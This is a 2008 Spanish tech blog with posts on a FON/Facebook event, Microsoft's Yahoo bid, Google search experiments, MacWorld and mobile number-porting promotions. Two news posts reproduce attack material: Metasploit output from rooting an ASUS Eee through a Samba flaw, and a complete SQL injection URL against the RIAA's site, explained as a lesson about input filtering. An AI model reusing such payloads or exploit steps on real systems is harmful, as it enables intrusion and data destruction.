tecnocracia .es

Los chicos de FON vienen pisando fuerte. La semana que vienen organizan un evento en el teatro Lara de Madrid, a razón del lanzamiento de la plataforma de aplicaciones de Facebook en castellano. Como invitados estará Javier Oliván, director de Producto y Marketing Internacional de Facebook que presentará la plataforma y el equipo de FON que presentará las aplicaciones que están desarrollando para Facebook. Posteriormente se ha reservado un tiempo para hacer el tan sano networking (esta es la parte que más me gusta).

Adicionalmente todos aquellos desarrolladores y empresas que quieran presentar sus aplicaciones para Facebook en castellano están invitados a participar. Solo tenéis que mandar un email a Pietro (pietro@fon.com) y os tomará nota.

Para apuntarse al evento también piden que se confirme la asistencia mandando un email a developergarage@fon.com en donde muy amablemente os confirmarán la asistencia.

Lo cierto es que me parece una idea fantástica lo del evento y sería muy interesante que se organizaran talleres de aplicaciones para Facebook o MySpace (ahora que han desvelado su plataforma para aplicaciones). Es un campo muy interesante y que mueve mucho dinero y me alegra ver que en España también nos estamos moviendo en estos campos.

No se muy bien si el evento será solo las presentaciones, pero me gustaría ver un taller de aplicaciones de Facebook, MySpace y OpenSocial. ¿Alguno conoce de algo de esto en España (a poder ser en Madrid)? Se podría organizar algún BarCamp de aplicaciones para redes sociales. ¿Alguno se anima?

Bueno, yo decididamente me pasaré el lunes por ahí, si alguno quiere pasarse os dejo los datos del evento en Facebook y transcritos aquí:

Fecha:	Lunes, 18 febrero, 2008
Hora:	7:00pm - 11:00pm
Lugar:	Teatro Lara
Calle:	Calle Corredera Baja de San Pablo, 15
Ciudad:	Madrid, España

Phone:	+34 677940078
Email:	developergarage@fon.com

Me pregunto si estará Varsarsky. Lo dudo ya que es un hombre muy ocupado pero me gustaría mucho conocerle y escucharle en persona. A ver si hay suerte.

Imágenes: theinquirer.es, facebook.com

menéame

Leo hace escasos segundos que la gente de RISE Security acaban de hackear el sistema operativo que viene por defecto con los ASUS Eee. Resulta que el SO que viene presintalado en los portátiles es Xandros, que es una versión derivada de Corel Linux que a su vez proviene de Debian Linux. Parece ser que por defecto viene con una versión del demonio Samba con fallos conocidos y activado por defecto. Una vez que sabían eso, simplemente emplearon el framework metasploit, cargaron el exploit para esa versión de samba y consiguieron root en el sistema.

msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -> 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

La noticia es muy reciente y no tengo forma de conformarlo así que tomad la información con cautela. No obstante, habiendo trabajado con sistemas embebidos, no me sorprende lo más mínimo. Suele ser una constante en todos estos tipos de sistemas, que resulta muy caro y difícil crear actualizaciones periódicas para cada actualización del software que incorpora el dispositivo. Esto es debido a que la compilación de muchos de estos paquetes de software es compleja y generalmente requiere que se parcheen las versiones de forma manual para acoplarlo al sistema empotrado. Esto consume mucho tiempo y recursos y por tanto los fabricantes deciden no actualizarlo tan a menudo y directamente no actualizarlos. No obstante, como dirían algunos: “nice hack!“

menéame

Del 28 de febrero al 1 de marzo se celebra en Miami, EEUU una de las conferencias más importantes del mundo, la Future of web Applications (FOWA) organizada por Carsonified. El evento traerá a lo mejor de lo mejor del mundo de Internet: Flickr, Wordpress, Google, Digg, Pownce, Twitter o Plaxo entre otros.

Tuve el honor de participar en la última edición de la conferencia en Londres en octubre y he de decir que es increíble. Pude escuchar grandes presentaciones y el honor de hablar con los líderes del mercado. Fue durante ese evento precisamente que conocí a Christian Van Der Henst, fundador de Maestros del Web. De su mano os traigo hoy una invitación para el evento en Miami que sin duda alguna merece la pena. Me contaba precisamente esta mañana que todavía no tenían ganador para la entrada así que os animo a todos a intentarlo.

¿Cómo conseguir la invitación? Muy sencillo:

“1 pase para algún lector en España. Recordando que para el SES Latino el año pasado, más de alguién cruzó el charco para asistir, queremos ver quien se anima esta vez. ¿Cómo te ganas el pase? Compra un boleto a Miami para estar durante los días del evento y confírmanos por correo los datos del boleto para que te garanticemos tu pase. El primero que demuestre el interés con el boleto se lleva el pase.“

¿Acaso no es sencillo? Lo cierto es que si no tuviera mucho trabajo yo mismo lo intentaría conseguir. La verdad es que quien lo consiga no se va a arrepentir. No solo merece la pena la conferencia, que de por si, es impresionante, sino el ver una ciudad como Miami. Pase lo que pase garantizo que cualquiera que vaya se lo va a pasar en grande, así que si tenéis un hueco o necesitáis unas merecidas vacaciones, no dudéis en intentarlo y por favor, mandarnos las fotos. ¡Ya envidio al ganador!

Lo dicho, comprad el billete y enviárselo a la gente de Maestros del Web y podéis ganaros esa invitación.

menéame

El otro día enviamos una noticia a Menéame y obtuvimos un pico de tráfico respetable. No obstante, el fenómeno me hizo reflexionar. Estuve comprobando la página principal de Menéame y me asombró lo poco tecnológicas que eran las noticias en la página principal. Esas noticias alcanzan la página principal porque mucha gente las vota y, en consecuencia, reflejan de manera fehaciente, las inquietudes de los internautas españoles. A raíz de esto, se me ocurrió realizar una comparación con sitios semejantes, pero en otros países. Qué mejor ejemplo que Digg. Es muy interesante el estudio del interés social de un país a partir de sitios como estos, debido a que posiblemente, se pueda extrapolar a un fragmento de la población bastante amplio.

Para corroborar mi hipótesis, voy a mostraros las páginas principales tanto de Menéame como de Digg de ahora mismo.

Menéame

• Pedro Duque: Si hubiera llegado vida extraterrestre a la Tierra sería de muy mala educación por su parte no saludar
• El informativo de Sánchez Dragó (TeleMadrid) pasa de puntillas sobre la noticia del Severo Ochoa
• Matan al último lobo del Cuera, en Asturias, y parece que hay que alegrarse… (¿?)
• La nómina no avanza al mismo ritmo que el coste de la vida
• Los cereales Special K, condenados por su falso 0% de grasa
• Una burrada mas de lo que pueden hacer algunos cazadores
• Los precios de los alimentos seguirán subiendo mientras el sector agrario se arruina
• Los Mossos golpean y encañonan a un hombre tras equivocarse de piso en un registro
• El ‘caso Enaitz’ aviva los medios participativos
• Microsoft lanza una OPA a Yahoo
• Los obispos ahora matizan: “Se debe hablar con los terroristas si se puede
• Pfizer cede medicamento para luchar contra el SIDA
• El ministro Molina boicotea un acto anticanon conjurándose con la SGAE
• 1 chica, 6 soldados
• FACUA también denuncia a Yoigo y anuncia recomendaciones a los usuarios estafados
• Quiero ser chino
• El alcalde de Londres piensa aprobar una tasa de 25 libras/día (37 euros/día) a 4X4 que circulen por la ciudad
• El avión de Rajoy se sale de pista
• El conductor que atropelló y mató a una mujer en Sot de Ferrer reclama 6.695 euros por daños
• Estoy amenazado por ETA, pero he sufrido una terrible campaña de desprestigio por parte de la AVT

Digg

• Sperm cells created from female embryo
• 3 Years Of Embarrassing CNN.com Headlines
• 101 Design Patterns & Tips for Developers
• Cheney: ‘We Haven’t Violated Anybody’s Civil Liberties’
• Official: Del Toro to take charge of The Hobbit
• Face Cream Can be Deadly
• Official Aircraft Identification Chart
• Private Cloud Is a Rocking Bed (Both Ways)
• Navy Tests High-Powered Electromagnetic Railgun
• Indian rhino loses fight for life
• Microsoft to buy Yahoo! for $44.6 billion
• Soldier suicides reach record level, study shows.
• Google 4Q Earnings Miss Expectations & Plummets After Hours
• DNA leads police to salami-loving thief
• New Solar Panel Technology Stylish and Sustainable

Salvo dos noticias que son la misma, la OPA de Microsoft a Yahoo, y la imagen del rinoceronte indio, el resto de las noticias son muy diferentes. Se aprecia claramente como en Menéame predominan los localismos, mientras que en Digg se valoran noticias de ámbito más general. Incluso me atrevería a decir que, aunque Digg ya no trata noticias tecnológicas, como sucedía antes, el contenido en general sigue siendo científico/técnico. Si nos volvemos a Menéame veremos que, salvo un par de noticias, el resto tiene poco o nada que ver con ciencia y/o tecnología.

La pregunta entonces es, ¿es esto debido al tipo de audiencia que se construye alrededor de estos sitios, o por el contrario, es el reflejo de las inquietudes de la sociedad correspondiente? No me atrevería a dar una respuestas porque es probable que sea un poco de las dos. Por un lado, la audiencia que se concentra en estas webs lo hacen porque les gusta el contenido de forma que, si existe suficientes personas con unos intereses comunes, las temáticas que se traten serán las de este colectivo. Esto me lleva a plantearme otra pregunta. Al ser mayor el número de personas que tienen intereses más generales, frente al porcentaje de personas que les apasiona la tecnología, ¿no correría peligro este último colectivo de ver su web de noticias favorita “polucionada” por otro contenido no relativo a la tecnología? Por ejemplo, este mismo fenómeno se da en la televisión. Cuando se le pregunta a los directores de las principales cadenas, por qué no existen programas de mayor contenido y profundidad, responden que esos programas no venden. Lo que la mayoría quiere ver son programas del corazón. Sucede entonces que estos colectivos minoritarios van migrando a otros servicios web en el momento en que estos alcanzan la madurez (mainstream), es decir, cuando acceden a ellos el usuario medio que emplea Internet como hobby.

Comprobando el tipo de audiencia que tienen ambos sitios, me doy cuenta de que hemos herrado en el vehículo que empleamos para difundir el contenido en Tecnocracia. El objetivo es hablar de tecnología, y por ende, le veo poco o ningún sentido, bombardear una audiencia como la de Menéame con nuestros links. Esto mismo lo discutía con mi amigo Zordor de frikis.net antes de ayer en el Beers & Blogs que se celebró en Madrid. De hecho, fue un tema recurrente en las conversaciones que tuve, por ejemplo con Pedro Sánchez de Viadeo o con Nicolas Alvez de Wikio. Todos coincidían en que al final sigue siendo más efectivo, construir una relación con los lectores/subscriptores que se sienten identificados con tu contenido, que canalizar grandes volúmenes de tráfico que interactuan poco o nada con el resto de contenidos del sitio web.

Por ello y a partir de ahora, queremos centrarnos en promocionar nuestro contenido en los círculos tecnológicos adecuados. Me interesaría mucho leer vuestros comentarios al respecto. ¿En que blogs/webs creeis que deberíamos promocionar el contenido de Tecnocracia? ¿Qué tipo de noticias son las que leéis habitualmente?

menéame

Madre mía como ha empezado el año 2008. Con la sombra de la recesión económica en el horizonte, algunos ya nos esperábamos sorpresas como la que acabamos de recibir, Microsoft acaba de realizar una oferta por Yahoo de $44600 millones en metálico y en acciones de la compañía. Desde hace ya unas semanas se viene hablando mucho de Yahoo. Al principio eran rumores de despidos de unos 200 ingenieros y posibles traslados a las sedes europeas. Posteriormente se comenzó a barajar despidos masivos de entre 1000 y 1500 trabajadores y la publicación del balance de resultados del último cuatrimestre (Q4) fue la gota que colmó el vaso.

Los benficios en el último cuatrimestre subieron de $1200 millones hace un año a $1400 millones, es decir un incremento del 14%. Sin embargo, los ingresos netos fueron de $206 millines frente a los $269 millones de hace un año. Las acciones están a $19.18 cuando en octubre alcanzaban un máximo de $34.08 (un descenso del 46%).

La oferta de Microsoft es por un valor de $44600 millones que se pagarían en dinero y con participaciones de Microsoft. Esta valoración colocaría las acciones de Yahoo en los $31, un precio nada despreciable teniendo en cuenta el batacazo que se ha pegado el Nasdaq desde comienzos de año.

Como ya comentan varios blogs, la adquisición plantea numeroso problemas, principalmente el miedo a despidos masivos por parte de Microsoft ya que, como es evidente, el objetivo de ésta es conseguir tecnología, audiencia y el posicionamiento que tienen muchas propiedades de Yahoo. Así mismo, se prevén nuevos problemas y acusaciones de monopolio en Europa, en donde Microsoft sigue teniendo casos abiertos, siendo el más reciente, las acusaciones de Opera sobre el monopolio y malas artes en el sector de los navegadores.

¿Qué opinaís? ¿Habrá despidos? ¿Habrá problemas legales? ¿Qué os parece que Yahoo pase a ser Microsoft?

UPDATE: Acaba de terminar la rueda de prensa con Ballmer y ha comentado que llevaban en negociaciones con Yahoo unos 18 meses. Le han preguntado también por el nombre de la marca y ha contestado que si al final se cierra el trato, verán como integrar windows live y office live con las propiedades de Yahoo.

menéame

La forma de buscar información en Internet ha permanecido prácticamente inalterada en los últimos años. Sin embargo, y aunque Google es el campeón indiscutible de las búsquedas (58.4% de las búsquedas en EEUU), no se está durmiendo en los laureles. Hace unos días desvelaba en su blog un nuevo tipo de visualización para los resultados de la búsqueda. El proyecto lleva en marcha desde mayo de 2007, y cada poco tiempo han ido añadiendo cosas nuevas. La última de todas son las visualizaciones de información adicional. El proyecto consta por el momento de tres tipos de visualización:

1. Línea temporal
2. Mapas
3. Información adicional

La primera categoría nos permite realizar búsquedas de las palabras claves que queramos, en donde los resultados aparecen agrupados por años. Sale una línea temporal en donde aparecen los años más recientes (por defecto salen de 1950 al 2000) y una gráfica de barras mostrando el número de resultados que corresponden con esa década. Si se pincha en la década en cuestión, la página se recarga mostrando una nueva línea temporal con los resultados distribuidos en los años de la década seleccionado (a esto se le llama drill down). El sistema permite llegar hasta resoluciones de meses dentro de un año, pero en las pruebas que he realizado he descubierto que la calidad de los resultados no es buena. Es preferible quedarse a nivel de año para obtener resultados más significativos. Adicionalmente, se puede introducir el rango de años sobre los que queremos obtener resultados.

El segundo tipo de visualización es mediante el uso de Google maps. Cada resultado de la búsqueda se dibuja en un mapa de forma que se ve la distribución geográfica de los resultados. En mi opinión, este tipo de representaciones son muy interesantes para búsqueda de restaurantes, tiendas y demás, pero también para representar la biografía de una persona famosa y descubrir todos los lugares que frecuentó durante su vida.

El último tipo de visualización que han estrenado se llama “info” o información adicional. Lo cierto es que no es un nuevo tipo de visualización sino más bien una herramienta para realizar minería de datos (Data Mining) y extracción de la información de los resultados de una búsqueda. Es decir, permite extraer fechas, medidas, lugares o imágenes de cada resultado que obtengamos. Por ejemplo, si le decimos que nos extraiga las fechas nos marcará en los resultados, los fragmentos de texto de cada resultado en donde podemos encontrar fechas. De no existir, nos lo indicará con un mensaje (No dates for this page). Esta herramienta tiene una potencia increíble si se sabe emplear correctamente. Por ejemplo, se podría hacer un filtro para buscar compra ventas de propiedades y que marque todos los resultados en donde se indiquen compra ventas de propiedades de cualquier tipo (por ahora los filtros son fijos y no permite añadir ninguno más). Este tipo de herramientas requiere un elevado procesamiento semántico y me sorprende verlo en Google. ¿Por qué digo esto? Pues porque hace muy poco Marissa Meyer comentaba (y no consigo encontrar la fuente) que ellos no se iban a convertir en un buscador semántico del palo de Powerset. Sin embargo, los últimos experimentos que están haciendo tienen todo que ver con búsquedas semánticas. El tiempo lo dirá. Por ahora a disfrutar de los nuevos juguetitos.

menéame

Para mitigar los sustos del Euribor, la bolsa y la cuesta de Enero, hoy vamos a presentaros un método para reducir vuestro gasto en telefonía móvil. 

Las operadoras están como locas por captar nuevos clientes y, especialmente, si vienen de otra compañía. A diario vemos anuncios con promociones para portabilidades de clientes de contrato, pero ¿qué pasa con los clientes prepago?

Hemos contactado con las principales operadoras a través de su servicio de atención al cliente y estas han sido sus respuestas:

• Movistar: la portabilidad no tiene coste alguno y las promociones son similares a las de adquisición de un pack prepago. En estos momentos, con la portabilidad obtendríamos: 12€+ cupón 6€ + hasta 88€ (tanto como acumulemos con nuestras recargas hasta el 15 de Febrero). Resumen: con 85€ de recarga tenemos 188€ de saldo (12+6+85+85). Además, Movistar permite pasar saldo entre tarjetas por importes máximos de 10€.
• Vodafone: nos remiten a un distribuidor. La portabilidad en modalidad de prepago no está disponible a través de la tienda telefónica. En la página web ofrecen terminales para portabilidad prepago desde 29€ con hasta 100€ en llamadas.  El desglose del saldo es similar al de Movistar (aunque la fecha para las recargas puede variar).
• Orange: la portabilidad tampoco tiene coste y las promociones también son similares a las de adquisición de un pack prepago. En este caso el desglose del saldo es: 12€+ cupon 6€ +88€ si realizamos recargas por valor superior a 50€ en el primer mes. Resumen: con 50€ de recarga tenemos 156€ de saldo (12+6+88+50).
• Yoigo: ofrece 20€ de saldo gratis para portabilidades.

En cuanto a los OMVs (Operadores Móviles Virtuales) sus ofertas se centran en ofrecen tarifas “reducidas” por lo que no han sido incluidas en este estudio. Para más información podéis consultar: Euskaltel, Pepephone, HapppyMovil, Carrefour Móvil, DíaMóvil, EroskiMóvil,…

Ahora vamos a jugar un poco… Veamos qué ocurre si realizamos portabilidades sucesivas según las siguientes secuencias, suponiendo que tenemos un teléfono libre, y cambiando nuestro número de nuestro operador actual X a:

• X à Movistar à Vodafone à  Orange à Yoigo: Importe total: 220€. Saldo obtenido: 552€. Ratio: 2,51€ por cada euro gastado. Ahorro: 60’14% aprox.
• X à Orange à Movistar: Importe total: 135€. Saldo obtenido: 344€. Ratio: 2,55€ por cada euro gastado. Ahorro: 60’75% aprox.
• X à Vodafone à Yoigo: Importe total: 85€. Saldo obtenido: 208€. Ratio: 2,45€ por cada euro gastado. Ahorro: 59’13% aprox.

 Y la estrella de todos:

• X à Orange à Yoigo: Importe total: 50€. Saldo obtenido: 176€. Ratio: 3,52€ obtenidos por cada euro gastado. Ahorro: 71’59% aprox.

Los resultados son espectaculares por sí solos. Además, si se evita realizar las recargas asociadas a las promociones y manteniendo la suposición de que la portabilidad en prepago no tiene coste asociado, se puede llegar a hablar “gratis” empleando la carga inicial de la tarjeta.

De momento no hemos conseguido información sobre si un operador permite portar varias veces un mismo número. Si no es así, tendremos que ir adquiriendo nuevas tarjetas tras completar nuestra secuencia de portabilidades (y asumir el coste correspondiente). Lo que si nos han confirmado algunos operadores es que, si sólo se porta el número, no se adquiere compromiso de permanencia.

Por último, recordaros que podéis emplear el saldo obtenido para realizar llamadas, enviar SMS, servicios de datos (correo, Internet, etc) o incluso descargar contenidos (juegos, melodías, etc)!!!!!

Esperamos recibir vuestros comentarios y, muy especialmente, vuestras experiencias: secuencias, tiempo en tramitar la portabilidad por parte de cada operador, dificultades, etc.

NOTA: La información que mostramos tiene sólo carácter informativo y puede contener errores, por lo que os recomendamos que contactéis con las distintas operadoras para verificar la información!!!. Tampoco nos hacemos responsables del abuso uso que pueda hacerse de esta información. 

menéame

Ayer ya me llegó el rumor, pero hoy distintas fuentes lo han confirmado, la página web de la RIAA (Recording Industry Association of America) ha sido eliminada por, como dirían algunos, la sociedad. La RIAA, para los que no la conozcan, es la hermana de la SGAE pero en EEUU. Al igual que sucede en España, no es precisamente que despierten amistades en EEUU. Es más, cada vez existan más detractores de la RIAA. La situación ha llegado a tal punto que se rumorea que incluso EMI, una de las productoras que financian las actividades de la asociación, se ha planteado retirarles los fondos.

El hecho es que ayer el usuario eurleif envió la siguiente noticia al portal Reddit: “This link runs a slooow SQL query on the RIAA’s server. Don’t click it; that would be wrong“. Reddit es una web que funciona de forma muy similar a Menéame o Digg. En enlace al que apuntaba la noticia, que había sido codificado mediante el servicio de acortamiento de urls, Tinyurl, apuntaba a la siguiente dirección:

http://riaa.com/news_room.php?resultpage=9&news_year_filter=2007%20UNION%20ALL%20SELECT%20BENCHMARK(100000000,MD5('asdf')),NULL,NULL,NULL,NULL%20--

Lo interesante es que el enlace contiene una inyección SQL en la web de la RIAA. Una inyección SQL (SQL Injection) es un tipo de ataque en donde ciertos parámetros de una aplicación web no son filtrados correctamente y son procesados directamente por el gestor de la base de datos. En este caso parece ser que la web de la RIAA no filtraba el parámetro news_year_filter. Al no filtrarlo, es posible inyectar una sentencia SQL adicional que se ejecutará junto con el SQL legítimo. En la url anterior, se ha añadido una sentencia en donde se realiza el md5 de la cadena “asdf” millones de veces. Esta inyección per se es inofensiva, pero parece ser que alguien decidió sustituir ese SQL por algo más dañino, como un DROP (esta sentencia elimina la base de datos). Al ejecutarse ese drop, toda la base de datos que soportaba la aplicación web de la RIAA desapareció por arte de magia.

De la noticia se desprenden dos historias muy interesantes. La primera y la más evidente, es que los desarrolladores de aplicaciones web deben aprender a filtrar cualquier variable que venga del interfaz web, especialmente aquellas que se emplean para ejecutar sentencias SQL (más ejemplos aquí). La segunda es, a mi juicio algo más interesante. Es la primera vez que se emplea una web de noticias estilo Digg, para lanzar un ataque sobre una web. Lo gracioso del tema es que probablemente será muy difícil determinar cual de las miles de ips que han pinchado en ese enlace, es la responsable del ataque. Es más, puede que haya sido más de una persona la responsable. ¿A quién van a detener? ¿A quién van a investigar? Este ataque novedoso sienta un precedente incómodo. Por último, he de reconocer que el toque de emplear tinyurl para ofuscar la url ha sido gracioso.

En fin, espero que nuestros lectores hayan tomado nota y se pongan a revisar sus aplicaciones inmediatamente para evitar sufrir un ataque social a gran escala. Los comentarios en Reddit no tienen desperdicio.

menéame

Hace unos días me encontré leyendo las estadísticas de los grandes “genios” que, con menos de 30 años de edad, han logrado convertirse en millonarios gracias a Internet.

Partiendo de la base de que la información reflejada en http://www.retireat21.com/top-young-entrepreneurs/ seguramente sea imprecisa o incompleta (no voy a entrar a comentar los datos), me llama la atención la mezcla de iniciativas tan populares como www.facebook.com o www.youtube.com con otras completamente desconocidas (al menos para mí), como http://www.bizchair.com/. Esto me lleva a pensar que para ganar dinero a partir de Internet no es requisito imprescindible ser muldialmente conocido, aunque ayuda mucho… 

He intentado reflexionar sobre qué empresas españolas incluiría en la lista y, la verdad, no se me ocurren demasiadas (y mucho menos que tengan grandes números). Desde mi punto de vista, la escasez de empresas españolas de referencia en el sector tecnológico se puede deber a varias causas:

• Falta de interés en la sociedad española por la tecnología: estructura demográfica, poder adquisitivo inferior al de otros países, nivel cultural, carácter español, etc.
• Mayores barreras de acceso a la tecnología: disponibilidad, calidad del servicio, coste, falta de infraestructuras, etc.
• Situaciones de “monopolio”: pocos proveedores/distribuidores y con indicios de pactos secretos. 

Aun con estas limitaciones, personalmente creo que tenemos mucho potencial que desarrollar en el sector tecnológico. Los españoles somos, por naturaleza, inquietos, ingeniosos y ocurrentes. Lo demostramos a diario con nuestro carácter “open-minded”, las chapuzas caseras, los inventos “made in Spain“, las parodias a los personajes famosos, etc. Además, nuestra historia nos avala con las hazañas de ingeniosos y pícaros. 

Si los españoles somos capaces de tener grandes ideas y diseñar nuevos inventos (Ver http://www.acta.es/articulos_mf/30099.pdf) ¿qué está fallando con la tecnología hoy en día? Para mí la respuesta la tienen las empresas. En numerosas ocasiones he visto, por propia experiencia, que se han cerrado las puertas a grandes oportunidades de negocio simplemente por: evadir responsabilidades, evitar riesgos, miedo a una nueva burbuja tecnológica, falta de tiempo y/o desmotivación, dificultad para identificar y contactar con los responsables del área de tecnología, poco interés por la innovación, falta de talento, etc. 

Además, a diferencia con otros países más avanzados tecnológicamente, aquí no hay un interés manifiesto por invertir en empresas tecnológicas. Si miramos a USA, allí hay numerosas personas y empresas en busca de un proyecto en el que involucrarse, a pesar de los riesgos.

Con la globalización y la deslocalización de nuestras fábricas, a los españoles no nos queda más remedio que re-orientarnos al sector servicios para aportar un valor diferencial a partir de nuestro mayor conocimiento y experiencia. La tecnología tendrá un papel clave en este proceso, que ya ha comenzado. 

Os animamos a ser creativos, imaginativos, emprendedores y a confiar en vosotros mismos para lanzar vuestras ideas.

Desde Tecnocracia daremos a conocer vuestras iniciativas y experiencias e intentaremos ayudaros en todo aquello que esté en nuestra mano.

menéame

Hoy era el día más esperado para los miles de fans de Apple, Steve Jobs anunciaba los nuevos productos de Apple para este 2008 en la feria más importante de Apple, MacWorld. Desde hace semanas se lleva especulando cuales podían ser los productos anunciados por Jobs hoy. Personalmente, esperaba que anunciara el iPhone 3G, pero no ha podido ser. Los bombazos han sido los siguientes:

• Jobs anuncia un dispositivo que combina el último software de backup del Leopard, Time Machine, en un disco externo que se conecta con los equipos mediante wifi (AirPort Base Station). El invento, que se llama Time Capsule, permitirá hacer copias de seguridad de forma inalámbrica desde el equipo/os a la Time Capsule. El dispositivo costará $299 con 500 Gb y $499 para el de 1Tb.

  

• El iPhone recibe nuevas aplicaciones: mapas con localización automática (¿esto suena a Google Maps no?), webclips (bookmarks de webs que aparecen directamente en el menú principal del teléfono como un icono), pantalla de inicio configurable, mensajes SMS a múltiples personas, soporte de subtítulos, capítulos e idiomas para los vídeos y soporte para las letras en el apartado de la música. El iPod Touch también recibe nuevas aplicaciones: Email, Mapas, Acciones, Notas y el Tiempo.

  

• iTunes permitirá a partir de hoy (y solo en EEUU de momento), alquilar películas a través de su interfaz. Apple tiene acuerdos con casi todas los estudios como por ejemplo Fox, WB, Disney, Paramount, Universal, y Sony entre otros. Las películas se podrán alquilar desde el iTunes 30 días después de su aparición en DVD. El usuario tiene 30 días para comenzar a ver la película y un período de 24 horas para ver la película en cuestión. El sistema permite transferir la película a otros dispositivos (Macs, PCs, iPod y iPhones) como el iPod y seguirá funcionado (durante el período de las 24 horas). El alquiler costará $3.99 para los estrenos y $2.99 para el resto. El Apple TV también recibe un lavado de cara y permite alquilar películas (además de calidad DVD, en formato HD dolby 5.1 por $1 más), música y series de televisión. El nuevo Apple TV se sincroniza con el ordenador pero sin necesidad del ordenador. Es decir, que podremos alquilar películas desde la pantalla de TV.

  

• Jobs anuncia el MacBook Air, el ordenador portatil más fino del mundo. Con un peso de 1.36Kg y una pantalla widscreen de 13.3″ es uno de los portátiles más pequeños y ligeros del mercado. Viene con procesadores 1.6 GHz Core 2 Duo (también disponible a 1.8GHz), disco duro de 80Gb ó de 64Gb (SSD), cámara iSight, multitouch trakpad (lo ha usado para rotar fotos, hacer zoom, etc.), teclado retroiluminado, 2Gb RAM, 802.11n, Bluetooth 2.1 + EDR y un precio de $1799.

Huelga decir que, mientras Jobs demostraba las nuevas tecnologías, las acciones de Apple se hundían en la bolsa. En el momento de escribir este post, las acciones han perdido -6.46%. Es cierto que están cayendo todas las bolsas mundiales, pero parece que lo anunciado en el MacWorld, no le ha hecho bien tampoco.

Personalmente, me ha decepcionado un poco. La verdad es que no es decepción, sino que ya esperaba que Apple no fuera a anunciar nada revolucionario. Al fin y al cabo, no todos los años te puedes sacar de la manga un dispositivo como el iPhone. Algunas de las nuevas tecnologías tienen muy buena pinta, como por ejemplo el poder alquilar películas mediante el iTunes (especialmente ahora que el ir al cine está impracticable, al menos en Madrid). Me pregunto cómo de bien funcionarán los sistemas anticopia (DRM) de esos ficheros y cuanto tiempo tardan en descargarse.

En fin, enhorabuena a los fanáticos de Apple y a ver cuando alguno me enseña el MacBook Air o el Time Capsule.

menéame